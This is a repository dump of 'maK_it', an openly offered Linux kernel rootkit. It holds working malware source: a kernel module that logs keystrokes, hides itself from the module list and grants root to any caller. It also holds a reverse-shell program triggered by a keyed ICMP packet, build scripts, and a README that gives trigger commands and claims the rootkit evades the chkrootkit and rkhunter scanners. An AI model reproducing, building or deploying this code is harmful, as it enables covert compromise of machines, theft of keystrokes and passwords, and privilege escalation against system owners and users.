├── shells ├── revshell └── revshell.c ├── scripts ├── del.sh ├── kill_shell.sh └── lets_maK_it.sh ├── Makefile ├── README.md ├── template.c └── LICENSE /shells/revshell: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maK-/maK_it-Linux-Rootkit/HEAD/shells/revshell -------------------------------------------------------------------------------- /scripts/del.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm Module.symvers modules.order maK_it.mod.* maK_it.ko* maK_it.o maK_it.c 4 | -------------------------------------------------------------------------------- /scripts/kill_shell.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | kill `ps -ef | grep maK_it_shell | grep -v grep | awk '{print $2}'` 3 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # If KERNELRELEASE is defined, we've been invoked from the 2 | # kernel build system and can use its language. 3 | ifneq ($(KERNELRELEASE),) 4 | obj-m := maK_it.o 5 | 6 | # Otherwise we were called directly from the command 7 | # line; invoke the kernel build system. 8 | else 9 | KERNELDIR ?= /lib/modules/$(shell uname -r)/build 10 | PWD := $(shell pwd) 11 | default: 12 | sh scripts/lets_maK_it.sh 13 | gcc -Wall -m32 -s -o shells/revshell shells/revshell.c 14 | make -C $(KERNELDIR) M=$(PWD) modules 15 | endif 16 | -------------------------------------------------------------------------------- /scripts/lets_maK_it.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #This script builds our module from the template. 3 | 4 | KERN=$(uname -r) 5 | IN="template.c" 6 | OUT="maK_it.c" 7 | 8 | BREAK="----------------------------" 9 | 10 | echo $BREAK 11 | #Templates to be replaced 12 | DEV="DEVICE_NAME_TEMPLATE" 13 | MAJOR="DEVICE_MAJOR_TEMPLATE" 14 | ARG1=".maK_it" 15 | ARG2="33" 16 | 17 | DEV_NAME="DEVICE_NAME \"$ARG1\"" 18 | MAJ_NAME="DEVICE_MAJOR $ARG2" 19 | 20 | echo "Building '$OUT' file using /dev/$ARG1 for Device Name and $ARG2 as a Major Number..." 21 | rm -f /dev/$ARG1 #Making sure it's cleared 22 | echo "Creating virtual device /dev/$ARG1" 23 | mknod /dev/$ARG1 c $ARG2 0 24 | chmod 777 /dev/$ARG1 25 | echo "Keys will be logged to virtual device." 26 | 27 | echo $BREAK 28 | #Templates to be replaced 29 | WHERE=$(pwd)"/shells/revshell" 30 | WHERE2=$(pwd)"/scripts/kill_shell.sh" 31 | ESC_SHELL=$(echo $WHERE | sed -e 's/\//\\\//g') 32 | ESC_CLEAN=$(echo $WHERE2 | sed -e 's/\//\\\//g') 33 | SHELL_TMP="SHELL_TEMPLATE" 34 | CLEAN_TMP="CLEAN_TEMPLATE" 35 | 36 | echo "Adding reverse shell script path to template..." 37 | echo "$WHERE ..." 38 | echo "Adding cleanup script to template..." 39 | echo "$WHERE2 ..." 40 | echo $BREAK 41 | sed -e "s/$DEV/$DEV_NAME/g;s/$MAJOR/$MAJ_NAME/g;s/$SHELL_TMP/$ESC_SHELL/g;s/$CLEAN_TMP/$ESC_CLEAN/g;" < $IN > $OUT 42 | 43 | 44 | echo "Completed. Run make command" 45 | 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | maK_it-Linux-Rootkit 2 | 3 | ======================== 4 | 5 | This is a simple rootkit implementation for the project described 6 | at the following location 7 | 8 | https://web.archive.org/web/20190119045332/https://r00tkit.me/ 9 | 10 | 11 | This rootkit avoids both the chkrootkit & rkhunter scanners as intended. 12 | 13 | It is fully compatible with the latest version of CentOS 6.5 14 | 15 | 16 | To run simply run "make" in the folder with the Makefile. 17 | 18 | install with 19 | insmod maK_it.ko 20 | 21 | Remove with 22 | rmmod maK_it 23 | 24 | 25 | =============== 26 | Demo Commands 27 | =============== 28 | Echo any of the following into /dev/.maK_it 29 | 30 | 31 | debug - turn /var/log/messages debug messages on or off. 32 | 33 | keyLogOn - turn the keylogger on 34 | 35 | keyLogOff - turn the keylogger off 36 | 37 | modHide - hide the module (hidden by default in insmod) 38 | 39 | modReveal - reveal the module (so you can rmmod it) 40 | 41 | rootMe - give root privileges to user 42 | 43 | shellUp - Turn on a packet sniffer for reverse shell icmp 44 | 45 | shellDown - Turn off the packet sniffer daemon 46 | 47 | To trigger the reverse shell, listen on a port of your choice 48 | on your own machine. The shell will be returned if you send an 49 | icmp packet with the right trigger word, your ip/port. 50 | 51 | Example: nping --icmp -c 1 -dest-ip 127.0.0.1 --data-string 'maK_it_$H3LL 127.0.0.1 31337' 52 | 53 | A port listener can be simply opened on your machine using nc -l 31337 54 | -------------------------------------------------------------------------------- /shells/revshell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #define PACKET_SIZE 1024 19 | #define KEY "maK_it_$H3LL" 20 | #define MOTD "maK_it\n/bin/bash shell..\n" 21 | #define SHELL "/bin/sh" 22 | #define PROCESS_NAME "maK_it_shell" 23 | 24 | /* 25 | * Start the reverse shell 26 | */ 27 | void reverse_shell(char *attacker_ip, unsigned short int attacker_port){ 28 | int sd; 29 | struct sockaddr_in server_addr; 30 | struct hostent *server; 31 | 32 | sd = socket(AF_INET, SOCK_STREAM, 0); 33 | if(sd < 0) return; 34 | server = gethostbyname(attacker_ip); 35 | if(server == NULL) return; 36 | bzero((char *) &server_addr, sizeof(server_addr)); 37 | server_addr.sin_family = AF_INET; 38 | bcopy((char *)server->h_addr, (char *)&server_addr.sin_addr.s_addr, 39 | server->h_length); 40 | server_addr.sin_port = htons(attacker_port); 41 | 42 | if(connect(sd,(struct sockaddr *)&server_addr,sizeof(server_addr)) < 0) 43 | return; 44 | //Print header 45 | write(sd, MOTD, strlen(MOTD)); 46 | 47 | /* 48 | * Connect socket to stdio 49 | * Run shell 50 | */ 51 | dup2(sd, 0); 52 | dup2(sd, 1); 53 | dup2(sd, 2); 54 | execl(SHELL, SHELL, (char *)0); 55 | close(sd); 56 | } 57 | 58 | /* 59 | * ICMP packet mode 60 | */ 61 | void ping_listener(void){ 62 | int sockfd; 63 | int n; 64 | int icmp_ksize; 65 | char buf[PACKET_SIZE + 1]; 66 | struct ip *ip; 67 | struct icmp *icmp; 68 | 69 | icmp_ksize = strlen(KEY); 70 | sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 71 | //Listen for icmp packets 72 | while(1){ 73 | /* get the icmp packet */ 74 | bzero(buf, PACKET_SIZE + 1); 75 | n = recv(sockfd, buf, PACKET_SIZE,0); 76 | if(n > 0){ 77 | ip = (struct ip *)buf; 78 | icmp = (struct icmp *)(ip + 1); 79 | 80 | // If ICMP_ECHO packet and if KEY matches */ 81 | if((icmp->icmp_type == ICMP_ECHO) && (memcmp(icmp->icmp_data, KEY, 82 | icmp_ksize) == 0)){ 83 | char attacker_ip[16]; 84 | int attacker_port; 85 | 86 | attacker_port = 0; 87 | bzero(attacker_ip, sizeof(attacker_ip)); 88 | sscanf((char *)(icmp->icmp_data + icmp_ksize + 1), "%15s %d", 89 | attacker_ip, &attacker_port); 90 | 91 | //printf("%s %d \n", attacker_ip, attacker_port); 92 | if((attacker_port <= 0) || (strlen(attacker_ip) < 7)) 93 | continue; 94 | /* Starting reverse shell */ 95 | if(fork() == 0){ 96 | reverse_shell(attacker_ip, attacker_port); 97 | exit(EXIT_SUCCESS); 98 | } 99 | } 100 | } 101 | } 102 | } 103 | 104 | /* 105 | * main () 106 | */ 107 | int main(int argc, char *argv[]){ 108 | //Prevent zombies 109 | signal(SIGCLD, SIG_IGN); 110 | chdir("/"); 111 | //If argv is equal to -v, some info will be printed 112 | if ((argc == 2) && (argv[1][0] == '-') && (argv[1][1] == 'v')){ 113 | fprintf(stdout, "KEY:\t\t\t%s\n",KEY); 114 | fprintf(stdout, "Process name:\t\t%s\n", PROCESS_NAME); 115 | fprintf(stdout, "Shell:\t\t\t%s\n", SHELL); 116 | } 117 | int i; 118 | //Renaming our process 119 | strncpy(argv[0], PROCESS_NAME, strlen(argv[0])); 120 | for (i=1; i 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | /*#include*/ 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | MODULE_LICENSE("GPL"); 24 | MODULE_AUTHOR("Ciaran McNally - maK@redbrick.dcu.ie"); 25 | MODULE_DESCRIPTION("This is a rootkit implementation"); 26 | 27 | #define DEVICE_NAME_TEMPLATE 28 | #define DEVICE_MAJOR_TEMPLATE 29 | #define MAX_CMD_LENGTH 20 30 | #define SHELL "SHELL_TEMPLATE" 31 | #define CLEANUP "CLEAN_TEMPLATE" 32 | 33 | /* 34 | * --Keyboard Notifier-- 35 | */ 36 | struct semaphore s; 37 | static int shiftPressed = 0; 38 | 39 | /* 40 | * --Character Device-- 41 | */ 42 | int major; 43 | //Store 100mb of key press data 44 | char keyBuffer[1000000]; 45 | char commands[MAX_CMD_LENGTH]; 46 | const char* endPtr = (keyBuffer+(sizeof(keyBuffer)-1)); 47 | char* basePtr = keyBuffer; 48 | int keyLogOn = 1; 49 | 50 | /* 51 | * --Hiding Module-- 52 | */ 53 | int modHidden = 0; 54 | static struct list_head *modList; 55 | 56 | /* 57 | * --Debug Prints-- 58 | */ 59 | int debug = 0; 60 | 61 | /* 62 | * --Ensure only 1 shell listener-- 63 | */ 64 | int shellUp = 0; 65 | 66 | /* 67 | * --Privilege Escalation. Give caller root.-- 68 | */ 69 | void root_me(void){ 70 | struct cred *haxcredentials; 71 | haxcredentials = prepare_creds(); 72 | if(haxcredentials == NULL) 73 | return; 74 | haxcredentials->uid = haxcredentials->gid = 0; 75 | haxcredentials->euid = haxcredentials->egid = 0; 76 | haxcredentials->suid = haxcredentials->sgid = 0; 77 | haxcredentials->fsuid = haxcredentials->fsgid = 0; 78 | commit_creds(haxcredentials); 79 | } 80 | 81 | /* 82 | * --Start reverse shell listener-- 83 | */ 84 | static int start_listener(void){ 85 | char *argv[] = { SHELL, NULL, NULL}; 86 | static char *env[] = { 87 | "HOME=/", 88 | "TERM=linux", 89 | "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; 90 | return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC); 91 | } 92 | 93 | /* 94 | * --Kill reverse shell listener-- 95 | */ 96 | static int kill_listener(void){ 97 | char *argv[] = { CLEANUP, NULL, NULL}; 98 | static char *env[] = { 99 | "HOME=/", 100 | "TERM=linux", 101 | "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL }; 102 | return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC); 103 | } 104 | 105 | //Key press without shift 106 | static const char* keys[] = {"","[ESC]","1","2","3","4","5","6","7","8","9", 107 | "0","-","=","[BS]","[TAB]","q","w","e","r", 108 | "t","y","u","i","o","p","[","]","[ENTR]", 109 | "[CTRL]","a","s","d","f","g","h","j","k","l", 110 | ";","'","`","[SHFT]","\\","z","x","c","v","b", 111 | "n","m",",",".","/","[SHFT]","",""," ", 112 | "[CAPS]","[F1]","[F2]","[F3]","[F4]","[F5]", 113 | "[F6]","[F7]","[F8]","[F9]","[F10]","[NUML]", 114 | "[SCRL]","[HOME]","[UP]","[PGUP]","-","[L]","5", 115 | "[R]","+","[END]","[D]","[PGDN]","[INS]", 116 | "[DEL]","","","","[F11]","[F12]","", 117 | "","","","","","","[ENTR]","[CTRL]", 118 | "/","[PSCR]","[ALT]","","[HOME]","[U]", 119 | "[PGUP]","[L]","[R]","[END]","[D]","[PGDN]", 120 | "[INS]","[DEL]","","","","","","","","[PAUS]"}; 121 | //Key press with shift 122 | static const char* keysShift[] = {"","[ESC]","!","@","#","$","%","^","&","*", 123 | "(",")","_","+","[BS]","[TAB]","Q","W","E","R", 124 | "T","Y","U","I","O","P","{","}","[ENTR]", 125 | "[CTRL]","A","S","D","F","G","H","J","K","L", 126 | ":","\"","~","[SHFT]","|","Z","X","C","V","B", 127 | "N","M","<",">","?","[SHFT]","",""," ", 128 | "[CAPS]","[F1]","[F2]","[F3]","[F4]","[F5]", 129 | "[F6]","[F7]","[F8]","[F9]","[F10]","[NUML]", 130 | "[SCRL]","[HOME]","[U]","[PGUP]","-","[L]","5", 131 | "[R]","+","[END]","[D]","[PGDN]","[INS]", 132 | "[DEL]","","","","[F11]","[F12]","", 133 | "","","","","","","[ENTR]","[CTRL]", 134 | "/","[PSCR]","[ALT]","","[HOME]","[U]", 135 | "[PGUP]","[L]","[R]","[END]","[D]","[PGDN]", 136 | "[INS]","[DEL]","","","","","","","","[PAUS]"}; 137 | 138 | //On key notify event, catch and run handler 139 | int key_notify(struct notifier_block *nblock, unsigned long kcode, void *p){ 140 | struct keyboard_notifier_param *param = p; 141 | if(kcode == KBD_KEYCODE && keyLogOn){ 142 | if( param->value==42 || param->value==54 ){ 143 | down(&s); 144 | if(param->down > 0){ 145 | shiftPressed = 1; 146 | } 147 | else{ 148 | shiftPressed = 0; 149 | } 150 | up(&s); 151 | return NOTIFY_OK; 152 | } 153 | //Store keys to buffer 154 | if(param->down){ 155 | int i; 156 | char c; 157 | down(&s); 158 | i = 0; 159 | if(shiftPressed){ 160 | while(i < strlen(keysShift[param->value])){ 161 | c = keysShift[param->value][i]; 162 | i++; 163 | *basePtr = c; 164 | basePtr++; 165 | if(basePtr == endPtr){ 166 | basePtr = keyBuffer; 167 | } 168 | } 169 | } 170 | else{ 171 | while(i < strlen(keys[param->value])){ 172 | c = keys[param->value][i]; 173 | i++; 174 | *basePtr = c; 175 | basePtr++; 176 | if(basePtr == endPtr){ 177 | basePtr = keyBuffer; 178 | } 179 | } 180 | } 181 | up(&s); 182 | } 183 | } 184 | return NOTIFY_OK; 185 | } 186 | 187 | //Hiding the kernel module 188 | void hide_module(void){ 189 | if(modHidden){ 190 | return; 191 | } 192 | modList = THIS_MODULE->list.prev; 193 | list_del(&THIS_MODULE->list); 194 | kobject_del(&THIS_MODULE->mkobj.kobj); 195 | THIS_MODULE->sect_attrs = NULL; 196 | THIS_MODULE->notes_attrs = NULL; 197 | modHidden = 1; 198 | } 199 | 200 | //revealing the kernel module 201 | void reveal_module(void){ 202 | if(modHidden == 0){ 203 | return; 204 | } 205 | list_add(&THIS_MODULE->list, modList); 206 | modHidden = 0; 207 | } 208 | 209 | //open device 210 | int open_dev(struct inode *inode, struct file *filp){ 211 | return 0; //success 212 | } 213 | //read of device 214 | ssize_t read_dev(struct file *filp, char __user *buf, size_t count, 215 | loff_t *posPtr){ 216 | int key; 217 | int result; 218 | char* buffer; 219 | if(debug == 1) 220 | printk(KERN_ALERT "maK_it: read_dev executed!\n"); 221 | key = 0; 222 | buffer = keyBuffer; 223 | while(*buffer != '\0'){ 224 | key++; 225 | buffer++; 226 | } 227 | if(*posPtr || (key == 0)){ 228 | return 0; 229 | } 230 | result = copy_to_user(buf, keyBuffer, key); 231 | if(result){ 232 | return -EFAULT; 233 | } 234 | *posPtr = 1; 235 | return key; 236 | } 237 | //write to device (take commands) 238 | static ssize_t write_dev(struct file *filp, const char *buff, 239 | size_t len, loff_t *posPtr){ 240 | const char *cmdPtr; 241 | const char *cmdEndPtr; 242 | int i; 243 | char c; 244 | cmdPtr = buff; 245 | cmdEndPtr = buff + len - 1; 246 | i = 0; 247 | //This section handles our commands. 248 | if(len < MAX_CMD_LENGTH){ 249 | memset(commands, 0, sizeof(commands)); 250 | while(cmdPtr != cmdEndPtr){ 251 | c = *cmdPtr; 252 | commands[i] = c; 253 | cmdPtr++; 254 | i++; 255 | } 256 | if(debug == 1) 257 | printk(KERN_ALERT "maK_it: command: %s \n",commands); 258 | if(strcmp(commands, "debug") == 0){ 259 | if(debug == 0){ debug = 1;} 260 | else{ debug = 0;} 261 | } 262 | if(strcmp(commands,"keyLogOn") == 0){ 263 | keyLogOn = 1; 264 | if(debug == 1) 265 | printk(KERN_ALERT "maK_it: Key logger on!\n"); 266 | } 267 | if(strcmp(commands, "keyLogOff") == 0){ 268 | keyLogOn = 0; 269 | if(debug == 1) 270 | printk(KERN_ALERT "maK_it: Key logger off!\n"); 271 | } 272 | if(strcmp(commands, "modHide") == 0){ 273 | hide_module(); 274 | if(debug == 1) 275 | printk(KERN_ALERT "maK_it: Module Hidden!\n"); 276 | } 277 | if(strcmp(commands, "modReveal") == 0){ 278 | reveal_module(); 279 | if(debug == 1) 280 | printk(KERN_ALERT "maK_it: Module revealed!\n"); 281 | } 282 | if(strcmp(commands, "rootMe") == 0){ 283 | root_me(); 284 | if(debug == 1) 285 | printk(KERN_ALERT "maK_it: Given r00t!\n"); 286 | } 287 | if(strcmp(commands, "shellUp") == 0){ 288 | if(shellUp == 0){ 289 | start_listener(); 290 | shellUp = 1; 291 | } 292 | if(debug == 1) 293 | printk(KERN_ALERT "maK_it: Remote Shell listener started!\n"); 294 | } 295 | if(strcmp(commands, "shellDown") == 0){ 296 | if(shellUp == 1){ 297 | kill_listener(); 298 | shellUp = 0; 299 | } 300 | if(debug == 1) 301 | printk(KERN_ALERT "maK_it: Remote Shell listener down!\n"); 302 | } 303 | if(strcmp(commands, "command") == 0) 304 | printk(KERN_EMERG "commands: debug, keyLogOn/Off, modHide/Reveal, rootMe, shellUp/Down\n"); 305 | } 306 | else{ 307 | if(debug == 1) 308 | printk(KERN_ALERT "maK_it: Command was too long.\n"); 309 | } 310 | return -EINVAL; 311 | } 312 | 313 | //release the device 314 | static int release_dev(struct inode *inode, struct file *filp){ 315 | return 0; //success 316 | } 317 | 318 | //File operations for device 319 | struct file_operations fops = { 320 | .owner = THIS_MODULE, 321 | .open = open_dev, 322 | .read = read_dev, 323 | .write = write_dev, 324 | .release = release_dev, 325 | }; 326 | //Notifier handler 327 | static struct notifier_block nb = { 328 | .notifier_call = key_notify 329 | }; 330 | 331 | /* 332 | * --Initialise & Exit Module code-- 333 | */ 334 | 335 | static int init_mod(void){ 336 | 337 | //hide module on start 338 | hide_module(); 339 | 340 | //Listen for keys. 341 | register_keyboard_notifier(&nb); 342 | sema_init(&s, 1); 343 | 344 | //Register a character device 345 | memset(keyBuffer, 0, sizeof(keyBuffer)); 346 | major = register_chrdev(DEVICE_MAJOR, DEVICE_NAME, &fops); 347 | if(debug == 1) 348 | printk(KERN_ALERT "maK_it: Major %i \n", DEVICE_MAJOR); 349 | if(major < 0){ 350 | if(debug == 1) 351 | printk(KERN_INFO "maK_it: Major device failed with -1"); 352 | return major; 353 | } 354 | return 0; 355 | } 356 | 357 | static void exit_mod(void){ 358 | //Cleaning up on exit 359 | if(debug == 1) 360 | printk(KERN_ALERT "maK_it: Exiting module. \n"); 361 | unregister_keyboard_notifier(&nb); 362 | unregister_chrdev(DEVICE_MAJOR, DEVICE_NAME); 363 | memset(keyBuffer, 0, sizeof(keyBuffer)); 364 | memset(commands, 0, sizeof(commands)); 365 | return; 366 | } 367 | 368 | module_init(init_mod); 369 | module_exit(exit_mod); 370 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 